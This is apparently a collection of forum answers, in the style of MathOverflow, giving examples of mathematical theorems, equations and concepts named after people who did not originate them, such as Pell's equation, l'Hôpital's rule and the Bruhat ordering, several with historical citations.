A: The Vandermonde Determinant/Matrix. Apparently Vandermonde never explicitly discussed his eponymous determinant. According to Lebesgue in his survey of Vandermonde work, it was probably due to somebody misinterpreting Vandermonde's notation.

A: There was a paper published in 2006 entitled "Simpson's Paradox in the Farey Sequence".  The paradox is not Simpson's nor is the sequence Farey's.  Bonus points.

A: The Banach-Steinhaus theorem was first proved by Hahn, the Hahn-Banach theorem was first proved by Helly.

A: Many of the examples mentioned go back to earlier centuries, when insulated national traditions and slow communications promoted mistaken labelling of results and concepts.   A much more recent example from the 1950s involves the notion of Bruhat ordering on a general Coxeter group, motivated at first by the example of finite crystallographic reflection groups in Lie theory.   The name seems to have been suggested by D.N. Verma in the late 1960s.  For some reason the ordering itself fails to appear (even in the exercises) in Bourbaki's influential 1968 Chapters IV-VI dealing with Coxeter groups, root systems, Weyl groups and affine Weyl groups.    Deodhar and others propagated the term "Bruhat ordering" in their papers, and as late as 1990 I routinely used this term in my book Reflection Groups and Coxeter Groups.   But by then Borel, who had gotten more deeply involved in sorting out the history of Lie theory, objected that the ordering was not at all found in Bruhat's development of the Bruhat decomposition but had occurred for Weyl groups in Chevalley's treatment of the partial ordering of closures of Bruhat cells (Schubert varieties) in the flag variety.
As a result many of us now try in principle to start with something like Chevalley-Bruhat ordering (shortened to Bruhat ordering) or even Chevalley ordering.   But this runs counter to a large body of literature including the 1979 Kazhdan-Lusztig paper.
Side remark: While Coxeter was the first to recognize the special presentation of a finite real reflection group that led to the term Coxeter group in Bourbaki, the general definition owes at least as much to people like Iwahori and Tits.   Coxeter was interested in traditional (often intricate) combinatorial geometry and not in Lie theory or its generalizations.   But short labels are easier to invent and tend to stick.

A: In logic:

*

*Tarski's undefinability theorem was obtained by Gödel before Tarski, who obtained it independently. Gödel did not publish the theorem. See Roman Murawskia (1998), "Undefinability of truth. The problem of priority: Tarski vs Gödel", History and Philosophy of Logic, v. 19 n. 3. pp. 153-160

*The result sometimes known as Gödel's diagonal lemma was first stated by Carnap. Gödel (1934) explicitly attributed the result to Carnap (see Kurt Gödel, Collected Works, v. 1, p. 363).

A: The algebraic numbers that are now commonly called "Gauss sums" were studied in more general form than that introduced in Gauss's Disquisitiones by Lagrange [1].  In that same work, Lagrange shows how to generate an abelian extension of degree n by adjoining an nth root after, if necessary, adjoining the nth roots of unity.  These generators were later called "Kummer generators". Jacobi sums, which are closely related to Gauss sums, were studied earlier than Jacobi by Gauss and Cauchy.
Finally, a story best recounted by Weil [2]:  "For reference, we recall that the Gauss sums appear among the local constant factors in the functional equations of the $L$ functions;  these factors are also called "nombres radiciels" ("root-numbers", "Wurzelzahlen"), undoubtedly because of Hilbert, who a had a sort of genius for bad terminology, where it would have been sensible to name "Wurzelzahl" that which before him had been named a "Lagrange resolvent" , and "Lagrangian Wurzelzahl" that which here has been called a Gauss sum".
[1] Lagrange, Reflexions sur la resolution algebrique des equations, Nouveaux Mem. de l'Acad. R. des Sc. et B.-L. de Berlin, 1770-1771 = Oeuvres, vol. III, p. 332;
[2] Weil, La Cyclotomie Jadis et Naguere.

A: Farey series, attributed to Farey, were actually first studied by Haros.

A: The Shimura-Taniyama conjecture was originally known as the Weil conjecture see http://www.ams.org/notices/199511/forum.pdf, also see the comment of Weil on page 7 (with other examples) in his response to Lang on the same issue as in the question posed here.
Additionally, the Frey curve was actually first considered by Yves Hellegouarch.

A: Euler's nine point circle was never discussed by Euler. This is an error of the "argument by authority" type: Catalan propagated that incorrect attribution made by another scholar, the "learned Terquem", without checking it himself.

A: Nakayama's lemma was first proved by Krull in a special case, and by Goro Azumaya in the general case.

A: Farey fractions were introduced by C. Haros. John Farey asked a question about them that reached Cauchy, and Cauchy then attributed the question and result to Farey, and the rest is history.

A: Pell's equation
By a mistake of Euler, the Diophantine equation y^2 - Ax^2 = 1 has been erroneously known as "Pell's equation"; but, in fact, the English mathematician John Pell (1611-1685) did no more than copy it down in his papers, from Fermat's letters of 1657 and 1658.
For an extensive historical account on "Pell's equation", see Sir Thomas L. Heath, Diophantus of Alexandria : A Study in the History of Greek Algebra (Dover Pub., New York, 1931-1963, 552 pages), Supplement, Section II: "Equation y^2 - Ax^2 = 1, pp. 277-292. Particularly in page 285, after a presentation of the history of the equation up to Fermat's time (including citations to Pythagoreans, Archimedes, Diaphanous, and the Indian solution), one can read that:
" ... Fermat rediscovered the problem and was the first to assert that the equation x^2 - Ay^2 = 1, where A is any integer not a square, always has an unlimited number of solutions in integers. His statement was made in a letter to Frénicle of February, 1657 (cf. Oeuvres de Fermat, II, pp.333-4). Fermat asks Frénicle for a general rule for finding, when any number not a square is given, squares which, when they are respectively multiplied by the given number and unity is added to the product, give squares. If, says Fermat, Frénicle cannot give a general rule, will he give the smallest value of y which will satisfy the equations 61y^2 + 1 = x^2 and 109y^2 + 1 = x^2 ? (Footnote 3: Fermat evidently chose these cases for their difficulty; the smallest values satisfying the first equation are y=226153980, x=1766319049, and the smallest values satisfying the second are y=15140424455100, x=158070671986249)." And, after a extensive quotation of Fermat's letter, in page 286, one can read that: "The challenge was taken up in England by William, Viscount Brouncker, first President of the Royal Society, and Wallis (Footnote 1: An excellent summary of the whole story is given in Wertheim's paper "Pierre Fermat's Streit mit John Wallis" in Abhandlungen zur Gesch. der Math., IX. Heft (Cantor-Festschrit), 1899, pp.557-576). See also H. Konen, Geschichte der Gleichung t^2-Du^2=1, Leipzig (S. Hirzel), 1901). At first, owing apparently to some misunderstanding, they thought that only rational, and not necessarily integral solutions were wanted, and found of course no difficulty in solving this easy problem. Fermat was, naturally, not satisfied with this solution, and Brouncker, attacking the problem again, finally succeeded in solving it. The method is set out in letters of Wallis (Footnote 2: Oeuvres de Fermat, III, pp.457-480, 490-503) of 17th December, 1657, and 30th January, 1658, and in chapter XCVIII of Wallis' Algebra; Euler also explains it fully in his Algebra (Footnote 3: Part II, chap. VII), wrongly attributing it to Pell (Footnote 4: This was the origin of the erroneous description of our equation as the "Pellian" equation. Hankel (in Zur Geschichte der Math. im Alterthum und Mittlelalter, p.203) supposed that the equation was so called because the solution was reproduced by Pell in an English translation (1668) by Thomas Brancker of Rahn's Algebra; but this is a misapprehension, as the so-called "Pellian" equation is not so much as mentioned in Pell's additions (Wertheim in Bibliotheca Mathematica, III, 1902, pp.124-6); Konen, pp.33-4 note). The attribution of the solution to Pell as a pure mistake of Euler's, probably due to a cursory reading by him of the second volume of Wallis' Opera where the solution of the equation ax^2 + 1 = y^2 is given as well as information as to Pell's work in indeterminate analysis. But Pell is not mentioned in connexion with the equation at all (Eneström in Bibliotheca Mathematica, III, 1902, p.206)."
For more information about "Pell's equation", see Harold M. Edwards, The Fermat's Last Theorem: A Genetic Introduction to Algebraic Number Theory (Springer-Verlag, New York, 1977, 410 pages), pp. 25-33. Particularly in page 33 one can read that
"This problem of Fermat is now known as "Pell's equation" as a result of a mistake on the part of Euler. In some way, perhaps from a confused recollection of Wallis's Algebra, Euler gained the mistaken impression that Wallis attributed the method of solving the problem not to Brouncker but to Pell, a contemporary of Wallis who is frequently mentioned in Wallis's works but who appears to have had nothing to do with the solution of Fermat's problem. Euler mentions this mistaken impression as early as 1730, when he was only 23 years old, and it is included in his definitive Introduction to Algebra written around 1770. Euler was the most widely read mathematical writer of his time, and the method from that time on has been associated with the name of Pell and the problem that it solved --- that of finding all integer solutions of y^2 - Ax^2 = 1 when A is a given number not a square --- has been known ever since as "Pell's equation", despite the fact that it was Fermat who first indicated the importance of the problem and despite the fact that Pell had nothing whatever to do with it."
See also André Weil, Number Theory : An approach through history - From Hammurapi to Legendre (Birkhäuser, Boston, 1984, xv+375 pages), in many different pages. In particular, at page 174, one can read that:
"Pell's name occurs frequently in Wallis's Algebra, but never in connection with the equation x^2 - Ny^2 = 1 to which his name, because of Euler's mistaken attribution, has remained attached; since its traditional designation as "Pell's equation" is unambiguous and convenient, we will go on using it, even though it is historically wrong."
Raul Nunes ( raul_nunes@uol.com.br )
NEST Nunes' Exposition of Scientific Truths
( http://www.geocities.com/raulnunes, Wayback Machine )

A: A favorite of mine is l'Hôpital's rule. l'Hôpital paid Johann Bernoulli a retainer to keep him updated on developments in calculus and to solve problems he had. Correspondence shows that Bernoulli stated and proved the rule, which l'Hôpital then published.
Heine-Borel was first published by Borel, not Heine. In fact, Heine's name was attached because he was using similar methods to solve related problems. Too bad for both of them that it was actually Dirichlet who was the first recorded to have proved it, but his notes were published posthumously and after Borel's proof.
Cramer's Rule was published first by MacLaurin, and some believe MacLaurin knew the proof some 20 years before Cramer's publication.

A: Pythagoras' Theorem apparently predates Pythagoras.

A: The "Lichnerowicz formula" relating the square of the Dirac operator to the Laplacian has been proved more than 30 years earlier by Schrödinger.
See: E. Schrödinger, Dirac'sches Elektron im Schwerefeld, Sitzungsber. Preuß. Akad. Wiss., Phys.-Math. Kl. 1932, 105-128 (1932).

A: It seems to me that Lagrange's theorem may well be one of the most prominent examples of the phenomenon under discussion.
According to J. J. Rotman,

the theorem was inspired by work of
  Lagrange (1770), but it was probably
  first proved by Galois.

Curiously enough, the Wikipedia article adscribes the first complete proof of the theorem to Pietro Abbati Marescotti.

A: According to Wikipedia, Markov's inequality is due to Chebyshev, and Chebyshev's inequality is due to Bienaymé.
On top of that, Hölder's inequality was first proved by Rogers, and Jensen's inequality by Hölder. What a mess!

A: Q: Who proved the Cayley-Hamilton Theorem?
A: Frobenius!
We now have the interesting question: Is this a maximal example of Stigler's law? That is, can we find distinct persons A, B, and C who are given credit for a result proven by D? Or A and B who are given credit for a result proven by C and D?

A: I had a companion observation that almost noone attributes the well-known sum-of-roots, product-of-roots etc. polynomial formulas as Vieta's formulas as I posted on Yahoo!Answers (Wayback Machine).
Because as user absird pointed out, it makes that sort of topic Google-proof;
at least a bad name is better than no name for purposes of searching or discussion.

('Yes it's very hard to refer to
something when noone knows it by its
proper name or uses that name. I tried
many Google searches on "sum-of-roots
product-of-roots" and it was almost
impossible to get a coherent lead.')

MathWorld notes: The theorem was proved by Viète (also known as Vieta, 1579) for positive roots only, and the general theorem was proved by Girard.

A: Apparently the Robin boundary condition was never studied by Robin. (Gustafson, K. and T. Abe, (1998b). The third boundary condition – was it Robin's?, The Mathematical Intelligencer, 20, 63–71.)

A: Stokes's theorem was stated by William Thomson (Lord Kelvin) in a letter to Stokes.  The letter is reproduced on the cover of Spivak's Calculus on Manifolds.  I believe the theorem was named after Stokes because he frequently put it on the Tripos exam in Cambridge.

A: Our linear algebra professor had a joke he told every year at the same spot in the lectures, for some 30 or 40 years. He'd say in an absolutely dry voice and facing the blackboard: "And this is the Cauchy–Bunyakovsky–Schwarz inequality, named like this because it was first proved by Lebesgue". Apparently, Cauchy just did it just as an inequality for sums (ie findim spaces), and Bunyakovsky and Schwarz independently as an inequality for integrals (ie for L2).

A: The Frobenius automorphism associated to a prime ideal in a Galois extension of number fields was actually developed by Dedekind, who wrote about it (and the associated ramification groups, later found by Hilbert) in a letter to Frobenius on June 8, 1882.  Frobenius published this construction in a paper in 1896. Some citations:

*

*Frobenius, Collected Works, Vol. 2, pp. 719--733.

*van der Waerden, Modern Algebra, Vol. 1 (Spring 1966), p. 203.

*Zassenhaus, Canadian Math. Bulletin 18 (1975), p. 448.

A: The Pell equation was named so because Euler thought that John Pell was responsible for some key results involving this equation. While Pell was a notable mathematician, he had essentially no connection to the equation. The common belief is that Euler mistook Pell for Lord Brouncker who indeed had a number of results related to the "Pell" equation.

A: Bézout's theorem
This result was discovered first by Newton in 1665. Even though MacLaurin (1720) and Leonhard Euler gave proofs, the theorem is usually attributed to Etienne Bézout who much later (1776) gave an incorrect proof of the result.

A: The most amazing example I know is the Cayley formula which was discovered by Carl Borchardt nearly 30 years earlier.  Not only Cayley knew about this, in his paper he specifically wrote that this formula is due to Borchardt, and all he wants to do is give a new simple proof (without determinants as in the matrix tree theorem).

A: The Cantor-Schroeder-Bernstein theorem was proved by Dedekind; this link is to Dedekind's collected works and there is an informative note at the end.

A: The number of plane trees with no vertex of degree one and with $n$ endpoints is known as a Schröder number, from a 1870 paper by Ernst Schröder. In 1994 David Hough discovered that these numbers were known to Hipparchus (c. 190 - after 127 B.C.)! For a popular account, see https://math.mit.edu/~rstan/papers/hip.pdf. For a more scholarly treatment, see http://stl.recherche.univ-lille3.fr/sitespersonnels/acerbi/acerbipub5.pdf (Wayback Machine).
As an irrelevant aside, how do you make accent marks in MathOverflow? Schroder is supposed to have an umlaut over the o.

A: Zorn's lemma is neither due to Zorn, nor is it a lemma. It is a theorem due to Kuratowski.

A: In my first algebra book the Eisenstein criterion for irreducibility of a polynomial is named Schönemann criterion and is left as an exercise. This is confusing when all others are talking about the Eisenstein criterion ;-).  In fact, here is a quote from Wikipedia:

The criterion is named after Ferdinand Eisenstein. It was published by T. Schönemann in Crelle's Journal 32 (1846), p. 100, and was popularized by Eisenstein in Crelle's Journal 39 (1850), pp. 166-169. Eisenstein's application of this theorem was to polynomials with coefficients in Z[i], not Z.

A: If you search for almost any eponymous topic in Wikipedia, you'll find that it was first studied by someone else. For example, the Gaussian distribution (according to Wikipedia) was first studied by de Moivre. It seems that in many cases, naming the body of work was given to the person who first applied its study to some other field (using the earlier example, Gauss used the distribution in astronomy).
The common story goes that L'Hôpital bought "the rights" to L'Hôpital's rule, as he was a nobleman and not a mathematician by trade, although I am not sure about the veracity of that story.
Although I am no expert on the history of Mathematics, it seems as though ideas or formulae assumed their names from certain mathematicians due either to a.) the more notable application or publication of the theory or b.) attribution by mathematicians of a later generation to pay tribute to (or garner attention from) the work of their predecessors.

A: An article in the current issue of American Mathematical MONTHLY (G. Folland, "A tale of topology," Am. Math. Monthly 117 (8) pp.663-672, Oct. 2010) quotes Walter Rudin as follows:

Thus it appears that Čech proved the Tychonoff theorem, whereas Tychonoff found the Čech compactification -- a good illustration of the historical reliability of mathematical nomenclature.

Folland's article suggests the truth is more complicated, as it usually is.

A: I think the Kazhdan-Lusztig Conjectures are due to Vogan.
EDIT.
True or false, the claim is mainly based on the very first two paragraphs of

[II] Irreducible characters of semisimple Lie groups II. The Kazhdan-Lusztig conjectures. David A. Vogan, Jr. Duke Math. J. Volume 46, Number 4 (1979), 805-859. --- The link
Link, doi: 10.1215/S0012-7094-79-04642-8
gives a universal access to the first page, which contains the two paragraphs in question. In case you don't have access to the full paper, here is a scan of the references (to completely understand the two paragraphs):

Here are two more references:

[I] Irreducible characters of semisimple Lie groups I, David A. Vogan, Jr., Duke Math. J. Volume 46, Number 1 (1979), 61-108.
Link, doi: 10.1215/S0012-7094-79-04605-2

[KL] David Kazhdan and George Lusztig, Representations of Coxeter groups and Hecke algebras, Inventiones Mathematicae, Volume 53, Number 2, 165-184.
GDZ, eudml

I would summarize things as follows.
Step 1. In [I] Vogan made a certain conjecture.
Step 2. [II] and [KL] were written simultaneously. Each paper cites the other. In [KL] Kazhdan and Lusztig also made a certain conjecture. When he learned this, Vogan immediately (or at least very fast) proved that the "Step 1 conjecture" implies that of Kazhdan and Lusztig. (He even showed that the "Step 1 conjecture" generalizes that of Kazhdan and Lusztig.)
But, again, the best is to read carefully the first two paragraphs of [II]. Vogan explains this much more clearly than I, and it's always better to hear things from the horse's mouth.

A: Morse theory is named after Marston Morse; it was widely used at least 50 years earlier. Wikipedia mentions Cayley and Maxwell, in the context of topography. Maxwell also used it in his work on electromagnetism, as detailed (complete with extensive passages from Maxwell's treatise) in the appendix of Mystery of point charges (A. Gabrielov, D. Novikov and B. Shapiro)
available here (subscription)

A: Some people have tried to give examples with as high a multiplicity as possible. I want to try to break the record for the smallest non-zero example: Martin's axiom was introduced by Martin and Solovay. (I judge that to have multiplicity 1/2.)

A: Liouville talked about the Legendre function when he studied the so-called Euler Gamma function. It made me doubt about who defined the Gamma function first.

A: According to this link Steiner Systems were mentioned by by W Woolhouse in 1844 before the famous Kirkman Schoolgirl problem (P Kirkman 1847) - Steiner's work was more systematic and did advance the theory, but it came in 1853.

A: I don't know if this is a real example, but it led to a nice gem in a recent abstract on the arXiv: "Glaisher's correspondence goes back to Euler."
(As far as I know Glaisher generalized Euler's bijection, which is why he gets the eponym -- in addition some people say "Euler-Glaisher" instead.)

A: Well Wigners rotation in special relativity which is the observation that two non-parallel boosts will result not in another boost but a composite of a boost and rotation was actually first formulated by Ludvik Silberstein in 1914, by Llewelyn Thomas in 1926 and then by Wigner in 1939, that is over two decades later.
Since Wigner acknowledged Silberstein's priority, I propose it be renamed Silberstein rotation ...

A: The "Weierstrass substitution," used by Euler before Weierstrass was born and, according to Prof. Fred Rickey of the United States Military Academy, never mentioned in the writings of Weierstrass. Rickey sent me an email saying he had searched through Weierstrass's writings looking for it, after I referred to it by that name in a terse remark in the Monthly. I sent an email to James Stewart, author of a wildly popular calculus textbook that does not differ from other calculus textbooks, asking whether he was the originator of the name. He replied that he was not, but I understand that some insist that he was.

A: The notion of Frobenius manifold is due to Dubrovin

A: Cartan discovered the Killing form, and Killing discovered the Cartan matrix.